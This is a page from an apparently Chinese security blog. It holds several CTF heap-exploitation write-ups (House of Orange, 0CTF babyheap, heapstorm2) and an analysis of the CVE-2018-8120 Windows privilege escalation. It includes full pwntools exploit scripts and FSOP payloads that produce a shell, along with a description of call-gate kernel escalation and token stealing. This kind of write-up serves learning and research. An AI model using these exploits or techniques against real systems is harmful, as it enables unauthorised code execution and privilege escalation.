2018年8月14日星期二

House of Orange -- HITCON2016


# root @ ubuntu in ~/pwn/house_of_orange [5:58:39] 
$ ./houseoforange 
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 

程序中涉及的两个结构体:

struct _PRICE_COLOR
{
  int dwPrice;
  int nColor;
};
struct _HOUSE
{
  struct _PRICE_COLOR *stcPriceColor;
  void *pNamePtr;
};

vuln

更新house对name的长度无验证,堆溢出

exploit

程序中没有堆块释放的功能,这里就秒掉了我,遂跟进学习angelboy大佬的house of orange手法,这个思路也是angelboy最先于此次比赛提出的orz。

我分两部分分析house of orange的思路。首先,程序中没有free的功能,且保护全开,那么基本的信息泄露哪里找?

上半部

那么先来找这个leak info,解决这个问题也是通过FREE堆块后泄露产生的链表指针。

溢出修改top chunk的size,使其减小并满足一定条件(后续从源码中看条件),申请一个更大的堆块,trigger _int_free in sysmalloc.

下面从源码来看trigger流程,_int_malloc最后,使用top chunk分配的代码如下


即满足一个判断,need_size + MINSIZE > top_size,使用top chunk进行malloc,
而请求大小大于top chunk的大小,且不存在fastchunk时,会走到sysmalloc。

sysmalloc中,对内存的分配有两种方式,mmap和brk,想要触发_int_free得到一个unsorted chunk,我们需要通过brk的形式拓展堆,之后原有的top_chunk作为old_chunk链入unsorted bin中,对于走mmap或brk,通过如下一个判断



申请的内存大于128k,且当前进程使用mmap的内存块小于mp_.n_mmaps_max,即调用mmap申请内存,反之走brk扩展。Brk扩展中,若要顺利走完_int_free,需要bypass如下两个assertion



总结如下4点:

  1. old_size >= MINSIZE(0X10); 
  2. old_top pre inuse is set; 
  3. old_top + old_size 页对齐; 
  4. old_size < need_size + MINSIZE;

最终通过brk新分配一个new top chunk后,释放old top chunk


至此,house of orange的前一半也就说完了,在程序中没有释放功能的前提下,trigger _int_free in sysmalloc,虽然只能释放old top chunk,but 我们看得到了哪些?
  1. _int_free后的一个unsorted bin;
  2. unsorted bin中的double list,用于泄露libc ;)
对于house of orange思路的后半程,我们还需要得到程序的堆地址。事实上,前半部分溢出top chunk size后,size的值在满足上述条件的前提下,我们要让其大小属于large bin范围。

这是因为,我们后续利用一个例如malloc(0x400)时,我们得到的这个堆块中还会包含有一对double list:
  • fd_nextsize & bk_nextsize
这对指针即用来泄露堆地址,为何unsorted bin中会产生large bin的指针,我之前的文章里有表述过,这里不再详细叙述,有兴趣可以自行阅读_int_malloc的源码;)

下半部

继续阅读下半部分前,前提你已经了解了unsorted bin attack && fsop的利用思路。

unsorted bin attack

在上半部中,我们target = malloc(0x400)从old top chunk中分割一部分,进行leak info,分割后剩余部分依然放在unsorted bin中,通过update溢出target,覆盖unsorted bin chunk的size(0x61) & fd & bk。

布置完毕后,触发unsorted bin attack,此时申请一个small bin,大小不等于0x60,此时堆中不存在fastbin,small bin,那么开始循环遍历unsorted bin list,卸下第一个unsorted bin时即触发attack,完成向任意地址写入一个大数(unsorted bin的首地址),这个写入的地址,house of orange选在了libc中的全局变量_IO_FILE_plus上,即bk溢出修改为_IO_FILE_plus - 0x10的地址。

unsorted bin 卸下后,发现与用户请求的大小不想等,此时将这个bin链入bin中相应的位置,0x60即链入了bin[6]中,这一点是很重要的,为后续的FSOP做准备。

一轮遍历unsorted bin未找到合适的chunk,那么继续遍历下一个unsorted bin。由于上一个unsorted bin的fd & bk均被修改过,那么这次循环遍历unsorted bin时,开始便触发了异常


进入malloc_printerr,下面的利用即属于FSOP的范畴了,继续往下看。

FSOP

malloc_printerr内部会调用_IO_flush_all_lockp,这个函数并不长,位于libio/genops.c#758


在#772第一次获取_IO_FILE指针时,通过调试看到_IO_FILE_plus已经位于main_arena中了


看其结构体值(操作失误,这里重新调试了两次,截取了两个不同情况的_IO_FILE_plus值,地址略有不同,无伤大雅;)

图一FSOP失败:

图二FSOP成功

继续向下走,有一堆判断的地方


从这些判断,来回过头分析下上文中图一的情况为何失败?
这里的fp->_mode为int型成员,是有符号的,图一明显就是正数的情况,最终直接走到了_IO_OVERFOW(fp, EOF),无效地址而报错。

图二中,_mode为负数,直接跳过了_IO_OVERFOW(fp, EOF)。继续向下走,if中的两个变量值均为0,开始走else遍历_IO_FILE链,而这个chain成员值,通过上文中的图一图二,可以知道正是我们最后破坏的那个unsorted bin,所以在破坏那个unsorted bin构造unsorted attack的同时,也布置好了_IO_FILE_plus数据。这里的_IO_FILE链为何存在一个我们可控的chunk地址?

回到上文中,unsorted attack部分,这个chunk正是我们上面插入的那个small chunk!


理一下FSOP至此的过程,由于我们虽然劫持了libc中的_IO_FILE_plus指针,但其指向并不能随意控制,而是写在了unsorted bin的首地址,即我们后续无法伪造FILE结构体,此时,就无法任意控制上图中的条件判断,及vtable的值。

那么就要关注FILE结构体中的chain成员是否可控,unsorted attack后,_IO_FILE_plus结构体的地址位于main_arena中的&bin[0],即unsorted bin的首地址,结构体成员_chain位于偏移0x68处


即malloc_state -> bins[6]的bk指针值影响_chain值,即victim_index为6的small chunk,大小为0x60。

根据_chain获取下一个_IO_FILE成员,这些成员基本都可以自定义了,如下图三


vtable已经构造好system的地址


继续执行,到上文中的if判断处,此时_mode值大于0,如图三中所示,最终执行到_IO_OVERFLOW函数,getshell


利用上一气呵成
payload = "b"*0x410
payload += p32(0xdada) + p32(0x20) + p64(0)
stream = "/bin/sh\x00" + p64(0x61) # fake file stream
stream += p64(0xddaa) + p64(io_list_all-0x10) # Unsortbin attack
stream = stream.ljust(0xa0,"\x00")
stream += p64(heap+0x700-0xd0)
stream = stream.ljust(0xc0,"\x00")
stream += p64(1)
payload += stream
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)
payload += p64(1)
payload += p64(2)
payload += p64(3) 
payload += p64(0)*3 # vtable
payload += p64(system)
upgrade(0x800,payload,123,3)
r.recvuntil(":")
r.sendline("1") # trigger malloc and abort

r.interactive()


参考学习:
http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
阅读更多博文 »

2018年7月26日星期四

0ctf2017 babyheap writeup

Key point:
  1. 1. chunk overlap
  2. 2. fastbin attack

chunk overlap

left is before overlapped's status,  right is after overlapped.


exploit


from pwn import *

local = 1

if local:
    #context.log_level = 'debug'
    p = process('./0ctfbabyheap')
    

def funcalloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))

    
def funcfill(index, size, data):
    p.recvuntil('Command: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: ')
    p.sendline(data)
    

def funcfree(index):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    
   
def funcdump(index):
    p.recvuntil('Command: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    res = p.recvuntil('1. Allocate')
    return res
    


funcalloc(0x20) #0
funcalloc(0x20) #1
funcalloc(0x80) #2
funcalloc(0x10) #3

payload = 'a'*0x38 + p64(0x71)
funcfill(2, 0x40, payload)

payload = 'a'*0x20 + p64(0) + p64(0x71)
funcfill(0, 0x30, payload)

funcfree(1)
funcalloc(0x60) #1
payload = 'a'*0x20 + p64(0) + p64(0x91)
funcfill(1, 0x30, payload)
funcfree(2)

#0x00007fea41a49000
leakinfo = u64(funcdump(1)[58:66])
libc_base = leakinfo - 0x3C4B78
log.info('leak addr: %s'%hex(leakinfo))
log.info('libc base: %s'%hex(libc_base))

# fastbin attack
fake_fd = libc_base + 0x3C4AED

funcfree(1)
payload = 'a'*0x20 + p64(0) + p64(0x71) + p64(fake_fd)
funcfill(0, 0x38, payload)

ptr1 = funcalloc(0x60)
ptr2 = funcalloc(0x60)

# one gadget 0x45216
payload = p64(0)*2 + 'a'*3 + p64(libc_base+0x4526a)
funcfill(2, 27, payload)
funcalloc(0x20)
p.interactive()


阅读更多博文 »

2018年7月21日星期六

0CTF 2018 heapstorm2 writeup

程序执行如下,典型的增删查改型题目。
$ ./heapstorm2           
    __ __ _____________   __   __    ___    ____
   / //_// ____/ ____/ | / /  / /   /   |  / __ )
  / ,<  / __/ / __/ /  |/ /  / /   / /| | / __  |
 / /| |/ /___/ /___/ /|  /  / /___/ ___ |/ /_/ /
/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/

===== HEAP STORM II =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit
Command: 
漏洞如下,null byte off by one
.text:0000561608C75059                 mov     eax, [rbp+data_size]
.text:0000561608C7505C                 movsxd  rdx, eax
.text:0000561608C7505F                 mov     rax, [rbp+var_18]
.text:0000561608C75063                 add     rax, rdx
.text:0000561608C75066                 mov     rcx, 'ROTSPAEH'
.text:0000561608C75070                 mov     [rax], rcx
.text:0000561608C75073                 mov     dword ptr [rax+8], 'II_M'
.text:0000561608C7507A                 mov     byte ptr [rax+0Ch], 0 ; null byte off by one


关于利用


Key Point:

  1. 1. 程序初始化禁用了fastbin的分配;
  2. 2. 利用chunk shrink制造overlapping;
  3. 3. Large bin attack;
  4. 4. 劫持__free_hook;

Chunk Shrink:



上图4个堆块的变化,诠释了利用chunk shrink制作overlap,仔细关注,每个块的信息,以及申请与释放的操作。

同样,再做另一套chunk overlapped,为后续利用Large bin attack作准备。第一次被overlap的chunk大小为0x430(包含heap header);第二次被overlap的chunk大小为0x420(同样包含heap header)。

这样做的原因这里不详细说了,与Large bin的机制有关。

至此,我们有了两个0x530大小的chunk,两个chunk里分别包含了0x430和0x420大小的已分配的chunk,也就是说我们可以随意控制两个chunk的信息,如header,fd,bk,nextsize等。

Large Bin Attack:


为了最后触发large bin attack,先将0x420大小的chunk放入large bin list,此时是没有释放的chunk,即bin list均为空,那么直接free(0x420_chunk), 0x420_chunk将先被链入unsorted bin;

继续,alloc(0x500),这部分libc的代码不再单贴,后面调试libc会路过这一块。由于0x500 > 0x420,那么将会从top chunk中分割出0x500大小的chunk,但分配空间之后,0x420大小的chunk,已经从unsorted bin卸下,并链入了large bin list。

下面,free(0x430_chunk),此时,0x430的chunk被链入unsorted bin。

至此,两个被overlap的chunk,大的在unsorted bin,较小的在large bin list,注意,这里两个chunk大小不一样,但是相差的空间大小,是属于同一个index下的large bin list,这样才能保证后续触发任意地址写数据。

如此布置完后,开始伪造两个chunk的list指针如下

继续,alloc(0x48),那么返回的地址,将等于预先指定的0x133707F0。

为什么?跟一下libc的代码,程序中使用calloc分配空间,calloc封装了malloc

如下的代码,省略_int_malloc函数内容不多,注释的比较多,这里也不废话了,直接看代码

static void *
_int_malloc (mstate av, size_t bytes)
{
// bytes = 0x48,out:nb=0x50
// 计算请求大小+heap_header
checked_request2size (bytes, nb);

  /*
     If the size qualifies as a fastbin, first check corresponding bin.
     This code is safe to execute even if av is not yet initialized, so we
     can try it without checking, which saves some time on this fast path.
   */
// 判断是否处于fastbin,本题关闭了fastbin申请
  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))

// 属于small bin范畴,进入if,由于所在index没有small chunk,直接跳出
if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

//  该index下bin,无small chunk,跳出
if ((victim = last (bin)) != bin)

//  进入for循环,尝试从unsorted bin分配
for (;; )
    {
int iters = 0;
//  判断存在unsorted bin
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
        // 获取unsorted bin的bk,指向构造的位置
                 bck = victim->bk;

               // 请求的0x50大小的small bin,small bin处理不了时,当unsorted bin有且仅有一个chunk,即last_remainder时,则从last_remainder中切割, 
                  但此时last_remainder并不等于victim,即 unsorted bin中的第一个chunk
 if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
 // 获取当前unsorted bin大小,0x430
          size = chunksize (victim);

上片代码,执行到最后一行,可以看下bin

// 上片代码最后计算出unsorted bin size,是否和请求大小相等,

// 相等直接分配 if (size == nb) {

// 反之,将unsorted bin中的第一个节点卸下,插入normal bin


else
{
// 定位largebin index
              victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
// 获取该index下的第一个chunk
              fwd = bck->fd;

/* maintain large bins in sorted order */
// 该index下存在chunk
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
        // 比较将要插入的unsorted bin和最后一个large bin的大小,若大于该index下最小的large bin size,则从头遍历该index下的bin,找到合适的位置
                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{

找到合适的位置后,即之前0x420 chunk所在的large bin index list,插在0x420前面。

最终执行到如下代码,向0x133707c3位置写入堆地址,这里有个小trick,开了pie的x64系统地址最高位随机只为0x55或者0x56,并利用read数据地址,不对齐



继续向下执行,还有一处任意地址写数据

// unsorted bin插入large bin后,继续while 循环,取刚插入的bin,比较该bin大小和请求的size

// 上述条件成立,_int_malloc返回,mem的地址分配到了0x1337xxxx上,
// 最后一个条件,分配的内存由mmap()产生,即chunk_is_mmapped检测,
// 即检测第二个比特位是否为1,这也解释了0x56 ok,0x55 failed

large bin attack后,我们分配到了0x13370800地址内存,如此即可控制程序中的对指针数组,随意构造其中的元素。

程序的view功能,开始进行了一些条件判断,但至此我们完成了如上但工作后,即可绕过view但permission denied,从而进行信息泄露,获取堆地址,libc基址,

最后修改__free_hook至system,free一个/bin/sh的内存,即可getshell

Thank 4 friend Veritas501@Vidar-Team
阅读更多博文 »

2018年5月17日星期四

CVE-2018-8120 Analysis and Exploit

5月15日ESET发文其在3月份捕获了一个 pdf远程代码执行(cve-2018-4990)+windows本地权限提升(cve-2018-8120)的样本。ESET发文后,我从vt上下载了这样一份样本(https://www.virustotal.com/#/file/6cfbebe9c562d9cdfc540ce45d09c8a00d227421349b12847c421ba6f71f4284/detection)。初步逆向,大致明确如外界所传,该漏洞处于开发测试阶段,不慎被上传到了公网样本检测的网上,由ESET捕获并提交微软和adobe修补。测试特征字符串如下

定位样本中关键的代码并调试分析

可以知道漏洞产生于系统调用号为0x1226的内核函数NtUserSetImeInfoEx中,该函数调用SetImeInfoEx,在SetImeInfoEx内对参数1校验疏忽,产生了空指针解引用漏洞,相关触发代码逻辑如下:



相较于目前较为主流的gdi提权技术,该样本利用了安装系统调用门来实现内核权限提升。
首先,通过指令sgdt指令获取全局描述符表

申请0x400 bytes内存,构造调用门描述符

调用门描述符结构如下

调用门及mapping null page构造完毕后,开始触发漏洞安装调用门

此时寄存器数据如下

源数据如下

目的地址数据如下

可以看到安装了自身callgate及Ring0Function。安装完毕后(支持3环调用的CallGate),ring3程序调用调用门

找到对应的GDT表项

按照GDT表项的结构,分析样本安装的调用门描述符:
段选择子cs的值为0x1a8;
对应的Ring0Function的offset低地址为0x51b4;
对应的Ring0Function的offset高地址为0x80b9;
DPL为3  &  Gate Valid位为1
段选择子cs对应的结构如下,RPL级别为0,特权级别

根据上述结构定位gdt段描述符项

段描述符结构如下

3,4,5,8个字节得到段基址为0x0,结合上面的Ring0Func,得到Ring0Func的物理地址
Ring0Function很简单,直接ret,但此时ring3代码已具有ring0权限,因为这里没有恢复cs:

整个Far Pointer to Call Gate流程如下图:

中断在call far pointer,此时cs的值为0x1b

单步进入后,cs变为0x1a8(此时中断在我双机调试的windbg上)

如此替换本进程的token为system的token后,完成权限提升,最后恢复cs,并平衡堆栈后,再执行更多的ring3代码,否则容易BSOD。

分析过程中,我近95%的按照样本的思路还原了提权代码。



Source code

https://github.com/bigric3/cve-2018-8120



Thanks:

https://www.f-secure.com/weblog/archives/kasslin_AVAR2006_KernelMalware_paper.pdf
http://vexillium.org/dl.php?call_gate_exploitation.pdf


阅读更多博文 »